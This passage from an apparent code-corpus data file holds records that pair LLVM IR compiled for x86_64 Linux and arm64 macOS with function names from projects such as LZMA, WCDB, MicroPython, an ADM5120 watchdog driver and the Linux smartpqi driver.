!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
| fastsocket_kernel_drivers_firmware_extr_efivars.c_efi_pstore_erase |
; ModuleID = 'AnghaBench/sumatrapdf/ext/lzma/C/extr_LzFind.c_MatchFinder_CheckLimits.c'
source_filename = "AnghaBench/sumatrapdf/ext/lzma/C/extr_LzFind.c_MatchFinder_CheckLimits.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_6__ = type { i64, i64, i64, i64, i64, i32 }
@kMaxValForNormalize = dso_local local_unnamed_addr global i64 0, align 8
@llvm.compiler.used = appending global [1 x ptr] [ptr @MatchFinder_CheckLimits], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @MatchFinder_CheckLimits(ptr noundef %0) #0 {
%2 = load i64, ptr %0, align 8, !tbaa !5
%3 = load i64, ptr @kMaxValForNormalize, align 8, !tbaa !11
%4 = icmp eq i64 %2, %3
br i1 %4, label %5, label %7
5: ; preds = %1
%6 = tail call i32 @MatchFinder_Normalize(ptr noundef nonnull %0) #2
br label %7
7: ; preds = %5, %1
%8 = getelementptr inbounds %struct.TYPE_6__, ptr %0, i64 0, i32 5
%9 = load i32, ptr %8, align 8, !tbaa !12
%10 = icmp eq i32 %9, 0
br i1 %10, label %11, label %21
11: ; preds = %7
%12 = getelementptr inbounds %struct.TYPE_6__, ptr %0, i64 0, i32 1
%13 = load i64, ptr %12, align 8, !tbaa !13
%14 = getelementptr inbounds %struct.TYPE_6__, ptr %0, i64 0, i32 2
%15 = load i64, ptr %14, align 8, !tbaa !14
%16 = load i64, ptr %0, align 8, !tbaa !5
%17 = sub nsw i64 %15, %16
%18 = icmp eq i64 %13, %17
br i1 %18, label %19, label %21
19: ; preds = %11
%20 = tail call i32 @MatchFinder_CheckAndMoveAndRead(ptr noundef nonnull %0) #2
br label %21
21: ; preds = %19, %11, %7
%22 = getelementptr inbounds %struct.TYPE_6__, ptr %0, i64 0, i32 3
%23 = load i64, ptr %22, align 8, !tbaa !15
%24 = getelementptr inbounds %struct.TYPE_6__, ptr %0, i64 0, i32 4
%25 = load i64, ptr %24, align 8, !tbaa !16
%26 = icmp eq i64 %23, %25
br i1 %26, label %27, label %28
27: ; preds = %21
store i64 0, ptr %22, align 8, !tbaa !15
br label %28
28: ; preds = %27, %21
%29 = tail call i32 @MatchFinder_SetLimits(ptr noundef nonnull %0) #2
ret void
}
declare i32 @MatchFinder_Normalize(ptr noundef) local_unnamed_addr #1
declare i32 @MatchFinder_CheckAndMoveAndRead(ptr noundef) local_unnamed_addr #1
declare i32 @MatchFinder_SetLimits(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"TYPE_6__", !7, i64 0, !7, i64 8, !7, i64 16, !7, i64 24, !7, i64 32, !10, i64 40}
!7 = !{!"long", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"int", !8, i64 0}
!11 = !{!7, !7, i64 0}
!12 = !{!6, !10, i64 40}
!13 = !{!6, !7, i64 8}
!14 = !{!6, !7, i64 16}
!15 = !{!6, !7, i64 24}
!16 = !{!6, !7, i64 32}
| ; ModuleID = 'AnghaBench/sumatrapdf/ext/lzma/C/extr_LzFind.c_MatchFinder_CheckLimits.c'
source_filename = "AnghaBench/sumatrapdf/ext/lzma/C/extr_LzFind.c_MatchFinder_CheckLimits.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@kMaxValForNormalize = common local_unnamed_addr global i64 0, align 8
@llvm.used = appending global [1 x ptr] [ptr @MatchFinder_CheckLimits], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @MatchFinder_CheckLimits(ptr noundef %0) #0 {
%2 = load i64, ptr %0, align 8, !tbaa !6
%3 = load i64, ptr @kMaxValForNormalize, align 8, !tbaa !12
%4 = icmp eq i64 %2, %3
br i1 %4, label %5, label %7
5: ; preds = %1
%6 = tail call i32 @MatchFinder_Normalize(ptr noundef nonnull %0) #2
br label %7
7: ; preds = %5, %1
%8 = getelementptr inbounds i8, ptr %0, i64 40
%9 = load i32, ptr %8, align 8, !tbaa !13
%10 = icmp eq i32 %9, 0
br i1 %10, label %11, label %21
11: ; preds = %7
%12 = getelementptr inbounds i8, ptr %0, i64 8
%13 = load i64, ptr %12, align 8, !tbaa !14
%14 = getelementptr inbounds i8, ptr %0, i64 16
%15 = load i64, ptr %14, align 8, !tbaa !15
%16 = load i64, ptr %0, align 8, !tbaa !6
%17 = sub nsw i64 %15, %16
%18 = icmp eq i64 %13, %17
br i1 %18, label %19, label %21
19: ; preds = %11
%20 = tail call i32 @MatchFinder_CheckAndMoveAndRead(ptr noundef nonnull %0) #2
br label %21
21: ; preds = %19, %11, %7
%22 = getelementptr inbounds i8, ptr %0, i64 24
%23 = load i64, ptr %22, align 8, !tbaa !16
%24 = getelementptr inbounds i8, ptr %0, i64 32
%25 = load i64, ptr %24, align 8, !tbaa !17
%26 = icmp eq i64 %23, %25
br i1 %26, label %27, label %28
27: ; preds = %21
store i64 0, ptr %22, align 8, !tbaa !16
br label %28
28: ; preds = %27, %21
%29 = tail call i32 @MatchFinder_SetLimits(ptr noundef nonnull %0) #2
ret void
}
declare i32 @MatchFinder_Normalize(ptr noundef) local_unnamed_addr #1
declare i32 @MatchFinder_CheckAndMoveAndRead(ptr noundef) local_unnamed_addr #1
declare i32 @MatchFinder_SetLimits(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"TYPE_6__", !8, i64 0, !8, i64 8, !8, i64 16, !8, i64 24, !8, i64 32, !11, i64 40}
!8 = !{!"long", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"int", !9, i64 0}
!12 = !{!8, !8, i64 0}
!13 = !{!7, !11, i64 40}
!14 = !{!7, !8, i64 8}
!15 = !{!7, !8, i64 16}
!16 = !{!7, !8, i64 24}
!17 = !{!7, !8, i64 32}
| sumatrapdf_ext_lzma_C_extr_LzFind.c_MatchFinder_CheckLimits |
; ModuleID = 'AnghaBench/wcdb/repair/extr_sqliterk_api.c_sqliterk_set_user_info.c'
source_filename = "AnghaBench/wcdb/repair/extr_sqliterk_api.c_sqliterk_set_user_info.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
; Function Attrs: nounwind uwtable
define dso_local void @sqliterk_set_user_info(ptr noundef %0, ptr noundef %1) local_unnamed_addr #0 {
%3 = tail call i32 @sqliterkSetUserInfo(ptr noundef %0, ptr noundef %1) #2
ret void
}
declare i32 @sqliterkSetUserInfo(ptr noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
| ; ModuleID = 'AnghaBench/wcdb/repair/extr_sqliterk_api.c_sqliterk_set_user_info.c'
source_filename = "AnghaBench/wcdb/repair/extr_sqliterk_api.c_sqliterk_set_user_info.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
; Function Attrs: nounwind ssp uwtable(sync)
define void @sqliterk_set_user_info(ptr noundef %0, ptr noundef %1) local_unnamed_addr #0 {
%3 = tail call i32 @sqliterkSetUserInfo(ptr noundef %0, ptr noundef %1) #2
ret void
}
declare i32 @sqliterkSetUserInfo(ptr noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
| wcdb_repair_extr_sqliterk_api.c_sqliterk_set_user_info |
; ModuleID = 'AnghaBench/micropython/ports/stm32/usbhost/Class/MTP/Src/extr_usbh_mtp.c_USBH_MTP_GetObjectInfo.c'
source_filename = "AnghaBench/micropython/ports/stm32/usbhost/Class/MTP/Src/extr_usbh_mtp.c_USBH_MTP_GetObjectInfo.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_9__ = type { i64, %struct.TYPE_8__, ptr }
%struct.TYPE_8__ = type { i64 }
@USBH_FAIL = dso_local local_unnamed_addr global i32 0, align 4
@USBH_BUSY = dso_local local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind uwtable
define dso_local i32 @USBH_MTP_GetObjectInfo(ptr noundef %0, i64 noundef %1, ptr noundef %2) local_unnamed_addr #0 {
%4 = load i32, ptr @USBH_FAIL, align 4, !tbaa !5
%5 = getelementptr inbounds %struct.TYPE_9__, ptr %0, i64 0, i32 2
%6 = load ptr, ptr %5, align 8, !tbaa !9
%7 = load ptr, ptr %6, align 8, !tbaa !14
%8 = load i64, ptr %0, align 8, !tbaa !16
%9 = add nsw i64 %8, 5000
%10 = load i64, ptr %7, align 8, !tbaa !17
%11 = icmp eq i64 %10, 0
br i1 %11, label %26, label %12
12: ; preds = %3
%13 = getelementptr inbounds %struct.TYPE_9__, ptr %0, i64 0, i32 1
br label %14
14: ; preds = %12, %21
%15 = tail call i32 @USBH_PTP_GetObjectInfo(ptr noundef nonnull %0, i64 noundef %1, ptr noundef %2) #2
%16 = load i32, ptr @USBH_BUSY, align 4, !tbaa !5
%17 = icmp eq i32 %15, %16
br i1 %17, label %18, label %26
18: ; preds = %14
%19 = load i64, ptr %0, align 8, !tbaa !16
%20 = icmp sgt i64 %19, %9
br i1 %20, label %24, label %21
21: ; preds = %18
%22 = load i64, ptr %13, align 8, !tbaa !19
%23 = icmp eq i64 %22, 0
br i1 %23, label %24, label %14, !llvm.loop !20
24: ; preds = %21, %18
%25 = load i32, ptr @USBH_FAIL, align 4, !tbaa !5
br label %26
26: ; preds = %14, %3, %24
%27 = phi i32 [ %25, %24 ], [ %4, %3 ], [ %15, %14 ]
ret i32 %27
}
declare i32 @USBH_PTP_GetObjectInfo(ptr noundef, i64 noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !13, i64 16}
!10 = !{!"TYPE_9__", !11, i64 0, !12, i64 8, !13, i64 16}
!11 = !{!"long", !7, i64 0}
!12 = !{!"TYPE_8__", !11, i64 0}
!13 = !{!"any pointer", !7, i64 0}
!14 = !{!15, !13, i64 0}
!15 = !{!"TYPE_7__", !13, i64 0}
!16 = !{!10, !11, i64 0}
!17 = !{!18, !11, i64 0}
!18 = !{!"TYPE_10__", !11, i64 0}
!19 = !{!10, !11, i64 8}
!20 = distinct !{!20, !21}
!21 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = 'AnghaBench/micropython/ports/stm32/usbhost/Class/MTP/Src/extr_usbh_mtp.c_USBH_MTP_GetObjectInfo.c'
source_filename = "AnghaBench/micropython/ports/stm32/usbhost/Class/MTP/Src/extr_usbh_mtp.c_USBH_MTP_GetObjectInfo.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@USBH_FAIL = common local_unnamed_addr global i32 0, align 4
@USBH_BUSY = common local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind ssp uwtable(sync)
define i32 @USBH_MTP_GetObjectInfo(ptr noundef %0, i64 noundef %1, ptr noundef %2) local_unnamed_addr #0 {
%4 = load i32, ptr @USBH_FAIL, align 4, !tbaa !6
%5 = getelementptr inbounds i8, ptr %0, i64 16
%6 = load ptr, ptr %5, align 8, !tbaa !10
%7 = load ptr, ptr %6, align 8, !tbaa !15
%8 = load i64, ptr %0, align 8, !tbaa !17
%9 = add nsw i64 %8, 5000
%10 = load i64, ptr %7, align 8, !tbaa !18
%11 = icmp eq i64 %10, 0
br i1 %11, label %26, label %12
12: ; preds = %3
%13 = getelementptr inbounds i8, ptr %0, i64 8
br label %14
14: ; preds = %12, %21
%15 = tail call i32 @USBH_PTP_GetObjectInfo(ptr noundef nonnull %0, i64 noundef %1, ptr noundef %2) #2
%16 = load i32, ptr @USBH_BUSY, align 4, !tbaa !6
%17 = icmp eq i32 %15, %16
br i1 %17, label %18, label %26
18: ; preds = %14
%19 = load i64, ptr %0, align 8, !tbaa !17
%20 = icmp sgt i64 %19, %9
br i1 %20, label %24, label %21
21: ; preds = %18
%22 = load i64, ptr %13, align 8, !tbaa !20
%23 = icmp eq i64 %22, 0
br i1 %23, label %24, label %14, !llvm.loop !21
24: ; preds = %21, %18
%25 = load i32, ptr @USBH_FAIL, align 4, !tbaa !6
br label %26
26: ; preds = %14, %3, %24
%27 = phi i32 [ %25, %24 ], [ %4, %3 ], [ %15, %14 ]
ret i32 %27
}
declare i32 @USBH_PTP_GetObjectInfo(ptr noundef, i64 noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !14, i64 16}
!11 = !{!"TYPE_9__", !12, i64 0, !13, i64 8, !14, i64 16}
!12 = !{!"long", !8, i64 0}
!13 = !{!"TYPE_8__", !12, i64 0}
!14 = !{!"any pointer", !8, i64 0}
!15 = !{!16, !14, i64 0}
!16 = !{!"TYPE_7__", !14, i64 0}
!17 = !{!11, !12, i64 0}
!18 = !{!19, !12, i64 0}
!19 = !{!"TYPE_10__", !12, i64 0}
!20 = !{!11, !12, i64 8}
!21 = distinct !{!21, !22}
!22 = !{!"llvm.loop.mustprogress"}
| micropython_ports_stm32_usbhost_Class_MTP_Src_extr_usbh_mtp.c_USBH_MTP_GetObjectInfo |
; ModuleID = 'AnghaBench/lede/target/linux/adm5120/files-3.18/drivers/watchdog/extr_adm5120_wdt.c_wdt_reset_counter.c'
source_filename = "AnghaBench/lede/target/linux/adm5120/files-3.18/drivers/watchdog/extr_adm5120_wdt.c_wdt_reset_counter.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@SWITCH_REG_WDOG0 = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @wdt_reset_counter], section "llvm.metadata"
; Function Attrs: inlinehint nounwind uwtable
define internal void @wdt_reset_counter() #0 {
%1 = load i32, ptr @SWITCH_REG_WDOG0, align 4, !tbaa !5
%2 = tail call i32 @SW_READ_REG(i32 noundef %1) #2
ret void
}
declare i32 @SW_READ_REG(i32 noundef) local_unnamed_addr #1
attributes #0 = { inlinehint nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/lede/target/linux/adm5120/files-3.18/drivers/watchdog/extr_adm5120_wdt.c_wdt_reset_counter.c'
source_filename = "AnghaBench/lede/target/linux/adm5120/files-3.18/drivers/watchdog/extr_adm5120_wdt.c_wdt_reset_counter.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@SWITCH_REG_WDOG0 = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @wdt_reset_counter], section "llvm.metadata"
; Function Attrs: inlinehint nounwind ssp uwtable(sync)
define internal void @wdt_reset_counter() #0 {
%1 = load i32, ptr @SWITCH_REG_WDOG0, align 4, !tbaa !6
%2 = tail call i32 @SW_READ_REG(i32 noundef %1) #2
ret void
}
declare i32 @SW_READ_REG(i32 noundef) local_unnamed_addr #1
attributes #0 = { inlinehint nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| lede_target_linux_adm5120_files-3.18_drivers_watchdog_extr_adm5120_wdt.c_wdt_reset_counter |
; ModuleID = 'AnghaBench/linux/drivers/scsi/smartpqi/extr_smartpqi_init.c_pqi_ofa_alloc_mem.c'
source_filename = "AnghaBench/linux/drivers/scsi/smartpqi/extr_smartpqi_init.c_pqi_ofa_alloc_mem.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.pqi_ctrl_info = type { ptr, ptr, ptr }
%struct.pqi_ofa_memory = type { i32, ptr, i32 }
%struct.pqi_sg_descriptor = type { i32, i32, i32 }
@GFP_KERNEL = dso_local local_unnamed_addr global i32 0, align 4
@CISS_SG_LAST = dso_local local_unnamed_addr global i32 0, align 4
@ENOMEM = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @pqi_ofa_alloc_mem], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @pqi_ofa_alloc_mem(ptr nocapture noundef %0, i32 noundef %1, i32 noundef %2) #0 {
%4 = alloca i64, align 8
%5 = getelementptr inbounds %struct.pqi_ctrl_info, ptr %0, i64 0, i32 2
%6 = load ptr, ptr %5, align 8, !tbaa !5
%7 = add i32 %1, -1
%8 = add i32 %7, %2
%9 = sdiv i32 %8, %2
%10 = getelementptr inbounds %struct.pqi_ctrl_info, ptr %0, i64 0, i32 1
%11 = load ptr, ptr %10, align 8, !tbaa !10
%12 = mul nsw i32 %9, %2
%13 = icmp slt i32 %12, %1
br i1 %13, label %72, label %14
14: ; preds = %3
%15 = load i32, ptr @GFP_KERNEL, align 4, !tbaa !11
%16 = tail call ptr @kcalloc(i32 noundef %9, i32 noundef 8, i32 noundef %15) #3
store ptr %16, ptr %0, align 8, !tbaa !13
%17 = icmp eq ptr %16, null
br i1 %17, label %72, label %18
18: ; preds = %14
%19 = icmp sgt i32 %1, 0
br i1 %19, label %20, label %69
20: ; preds = %18
%21 = getelementptr inbounds %struct.pqi_ofa_memory, ptr %11, i64 0, i32 1
br label %22
22: ; preds = %20, %31
%23 = phi i64 [ 0, %20 ], [ %40, %31 ]
%24 = phi i32 [ 0, %20 ], [ %39, %31 ]
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %4) #3
%25 = load i32, ptr @GFP_KERNEL, align 4, !tbaa !11
%26 = call i32 @dma_alloc_coherent(ptr noundef %6, i32 noundef %2, ptr noundef nonnull %4, i32 noundef %25) #3
%27 = load ptr, ptr %0, align 8, !tbaa !13
%28 = getelementptr inbounds i32, ptr %27, i64 %23
store i32 %26, ptr %28, align 4, !tbaa !11
%29 = icmp eq i32 %26, 0
br i1 %29, label %30, label %31
30: ; preds = %22
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %4) #3
br label %44
31: ; preds = %22
%32 = load ptr, ptr %21, align 8, !tbaa !14
%33 = getelementptr inbounds %struct.pqi_sg_descriptor, ptr %32, i64 %23
%34 = load i64, ptr %4, align 8, !tbaa !16
%35 = trunc i64 %34 to i32
%36 = call i32 @put_unaligned_le64(i32 noundef %35, ptr noundef %33) #3
%37 = getelementptr inbounds %struct.pqi_sg_descriptor, ptr %32, i64 %23, i32 2
%38 = call i32 @put_unaligned_le32(i32 noundef %2, ptr noundef nonnull %37) #3
